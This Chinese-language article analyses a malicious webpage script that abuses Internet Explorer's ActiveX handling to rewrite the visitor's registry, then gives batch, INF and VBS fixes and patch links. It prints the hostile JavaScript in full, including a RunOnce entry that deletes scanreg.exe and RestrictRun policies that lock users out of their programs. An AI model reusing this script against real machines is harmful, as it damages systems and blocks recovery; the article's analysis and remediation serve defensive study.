网络安全 频道

分析一个网站的恶意代码 注册表全攻略

最近一段时间网页恶意代码对本地注册表的修改可以说是闹得沸沸扬扬,从改IE标题开始到改首页,甚至还发展到锁定INTERNET选项和注册表编辑器阻止用户恢复自己的IE!真是愈来愈严重了。开始改标题的时候只不过像小孩子跑到别人家的大门上用粉笔涂上“XX到此一游”,到后来就变质成了强盗要霸占整个家园。本来也许站长的原意是希望自己站点的访问量能高一些,不过很遗憾用错了方法,上过当的网民再也不会到他的站点去了。好了,废话少说,我们来看一下这究竟是怎么回事。

其实这些都是利用了ACTIVE和JS做到的,我们来看这段危险代码。如果浏览了这个网页的话IE跟系统都会被修改得不象样,仅仅可以使用WINDOWS的基本程序。够狠的了。

document.write("code=com.ms.activeX.ActiveXComponent>");

//this function is only needed if you add favorites or links

function AddFavLnk(loc, DispName, SiteURL)

{var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");

Shor.TargetPath = SiteURL; Shor.Save();}

//end add favorites or links function

function f(){ try { //ActiveX initialization (这里初始化ACTIVEX,为修改浏览者的注册表做准备。)

a1=document.applets[0];

a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");

a1.createInstance();

Shl = a1.GetObject();

a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");

a1.createInstance();

FSO = a1.GetObject();

a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");

a1.createInstance();

Net = a1.GetObject();

try

{ //set home page Shl.RegWrite

("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\deltree.exe","start.exe /

m deltree /y c:\\windows\\Command\\Scanreg.exe /q /u

/autorun");(注意这里,Scanreg.exe被删除!这样就阻挠了浏览者通过恢复浏览之前的注册表来修复系统!想想这意味着什么?它既然可以不经过同意而删除机器中的文件,那么也可以做别的事情。包括:在没有通知的情况下格式化硬盘!)

${PageNumber}

Shl.RegWrite ("HKCU\\SoftWare\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer

\\RestrictRun","1","REG_DWORD");(禁止使用任何程序!真是阴险,站长肯定是怕偶们不会用,把计算机给弄坏了所以帮忙锁起来。不过下面还

 

是开放了几个基本程序供使用的:

Iexplore.exe,ACDSee32.exe等。看看下面的程序名就知道你能用什么程序了。)

Shl.RegWrite ("HKCU\\SoftWare\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun

\\Iexplore.exe","Iexplore.exe");

Shl.RegWrite ("HKCU\\SoftWare\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun

\\WINWORD.EXE","WINWORD.EXE");

Shl.RegWrite ("HKCU\\SoftWare\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun

\\EXCEL.EXE","EXCEL.EXE");

Shl.RegWrite ("HKCU\\SoftWare\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun

\\WINZIP32.EXE","WINZIP32.EXE");

Shl.RegWrite ("HKCU\\SoftWare\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun

\\ACDSee32.exe","ACDSee32.exe");

Shl.RegWrite ("HKCU\\SoftWare\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun

\\photoshop.exe","photoshop.exe");

Shl.RegWrite ("HKCU\\SoftWare\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun

\\Notepad.exe","Notepad.exe");

Shl.RegWrite ("HKCU\\SoftWare\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun

\\Wordpad.exe","Wordpad.exe");

Shl.RegWrite ("HKCU\\SoftWare\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun

\\deltree.exe","deltree.exe");

Shl.RegWrite ("HKCU\\SoftWare\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun

\\rundll.exe","rundll.exe");

//end set home page

 

 

 

//add favorites this is the common part; should be here if you want to add favorites

var WF, Shor, loc;

WF = FSO.GetSpecialFolder(0);

loc = WF + "\\Favorites";

if(!FSO.FolderExists(loc))

{ loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";

if(!FSO.FolderExists(loc))

{ return; } }

//end common part

 

//the following line is used for adding favorites.

//to add multiple favorites, duplicate the following line, changing the last 2 paramaters.

AddFavLnk(loc, "【安全测试网】

","http://user.netomia.com/wjkplx/";);

//end add favorites

//桌面建立快捷键

var WF, Shor, loc;

WF = FSO.GetSpecialFolder(0);

loc = WF + "\\Desktop";

if(!FSO.FolderExists(loc))

{ loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Desktop";

if(!FSO.FolderExists(loc))

{ return; } }

//end common part

//the following line is used for adding favorites.

//to add multiple favorites, duplicate the following line, changing the last 2 paramaters.

AddFavLnk(loc, "【安全测试网】

","http://user.netomia.com/wjkplx/";);

//桌面建立快捷键结束

(关闭IE的时候莫名其妙看见自己的桌面上多了一个自己并不想要的东西是什么感觉?) }

catch(e)

{}

}

catch(e)

{}

}

function init()

{

setTimeout("f()", 1000);

}

init();

${PageNumber}

很令人讨厌的网页,站长还利用IE错误的MIME头漏洞将一个可执行文件下载到了机器的临时文件夹中,即使修复了系统也无法更改首页。但是,请不要急着从抽屉里翻出windows的CD setup先,真的像站长所说的那样只能通过上他的网站恢复吗?我的回答是:NO!来看一下解决问题的方法。

1,这个代码没有限制inf文件的使用,那我们可以利用这个方法来解除锁定。但是因为右键被禁止,所以要稍微麻烦一点了。首先建立一个批处理文件,将下面的内容拷入,然后执行这个批处理文件:

echo off

echo Windows Registry Editor Version 5.00> c:\hellopc.reg

echo [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer]>> c:\hallopc.reg

echo "NoViewContextMenu"=dword:00000000>> c:\hellopc.reg

regedit /s c:\hellopc.reg

del c:\hellopc.reg

需要说明的是,我这篇文章中所有针对注册表的编辑都基于win2000,因为现在我的机器里没有win9X(废话),:)所以使用win9X的朋友在使用

 

这些方法时要注意更改“Windows Registry Editor Version 5.00”为“REGEDIT4”。以下不再说明。

OK,现在右键可以用了,我们可以使用inf文件来解除。这个方法是一位叫charles0718的朋友教我的,试过很好用。先谢谢他。

新建一个文本文件,打入下列值

[version]

signature="$CHICAGO$"

[DEFAULTINSTALL]

ADDREG=EDIT.ADD.REG

DELREG=EDIT.DEL.REG

[EDIT.ADD.REG]

HKCU,Software\Microsoft\Windows\CurrentVersion\Policies\sys tem

[EDIT.DEL.REG]

HKCU,Software\Microsoft\Windows\CurrentVersion\Policies\sys tem

保存文件

更改扩展名为inf

右键文件选择安装,重启!现在注册表编辑器就可以使用了,然后就可以针对这个恶意代码更改了的地方逐一改回来。

2,其实用win9X的朋友批处理文件不如这样写。

echo off

echo regedit4> c:\scanreg.reg

echo [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\WinOldApp]>> c:\scanreg.reg

echo "NoRealMode"=dword:00000000>> c:\scanreg.reg

regedit /s c:\scanreg.reg

del c:\scanreg.reg

然后就可以从安装盘里拷一个scanreg.exe来从DOS模式轻松恢复注册表了,这是最简单方便的了。

下面简单介绍一下Scanreg的用法:

  命令格式:Scanreg/<option>

  option有以下几个可选项:

  ?列出Scanreg的使用方法及相关参数的用法。

  backup备份注册表及相关的系统文件。

  restore选择备份文件进行恢复。

  Comment"<comment>"给备份文件加上特别的备注。

  fix修复注册表。

3、还是利用批处理文件,不过懒得全写出来了。其实前面只是卖关子嘛,代码都看到了,直接把所有被更改的项目写到这个批处理文件中执

 

行不就OK了吗?呵呵。别骂我。

4、写一个VBS脚本来恢复注册表。举例如下:

Dim R

Set R = CreateObject("WScript.Shell")

Rem Write Regedit

R.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", 0, "REG_BINARY"

R.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\sys tem\DisableRegistryTools", "00000000", "REG_DWORD"

R.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled", "00000000", "REG_DWORD"

R.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode", "00000000", "REG_DWORD"

R.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption", "", "REG_SZ"

R.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText", "", "REG_SZ"

R.RegWrite "HKLM\Software\Microsoft\Internet

Explorer\Main\Window Title", "", "REG_SZ"

R.RegWrite "HKCU\Software\Microsoft\Internet

Explorer\Main\Start Page", "", "REG_SZ"

以文件名“Reg.vbs”存盘,后运行该文件。重新启动计算机。

这样注册表编辑器,运行,命令解释器,DOS实模式等都可以使用了,然后恢复的办法就多了不少了,或者你也可以将所有被更改的DWORD值都加

 

到这个VBS脚本中运行一次即可奏效,只要记住0就是允许,1就是禁止就可以了。我想解决问题的方法肯定还有很多,但是因为对注册表不够了

 

解,所以也想不出来,希望知道的朋友可以教我。我的email是gale@root.com.cn.先谢谢了! 另外想说的是,被改了注册表才想着更改是不是太

 

晚了点?其实这些情况都是可以避免的,只要打上微软的补丁就不会有事了。

WINDOWS 2000用户打上SP2就可以了。

http://www.microsoft.com/china/windows2000/SP2.htm

WINDOWS 9X用户

Internet Explorer 5.01 Service Pack 2.

http://www.microsoft.com/windows/ie/downloads/recommended/ie501sp2/default.asp

Internet Explorer 5.5 Service Pack 2.

http://www.microsoft.com/windows/ie/downloads/recommended/ie55sp2/default.asp

或者干脆用IE6也可以避免这种情况的出现。

http://www.microsoft.com/downloads/release.asp?ReleaseID=32558

0
相关文章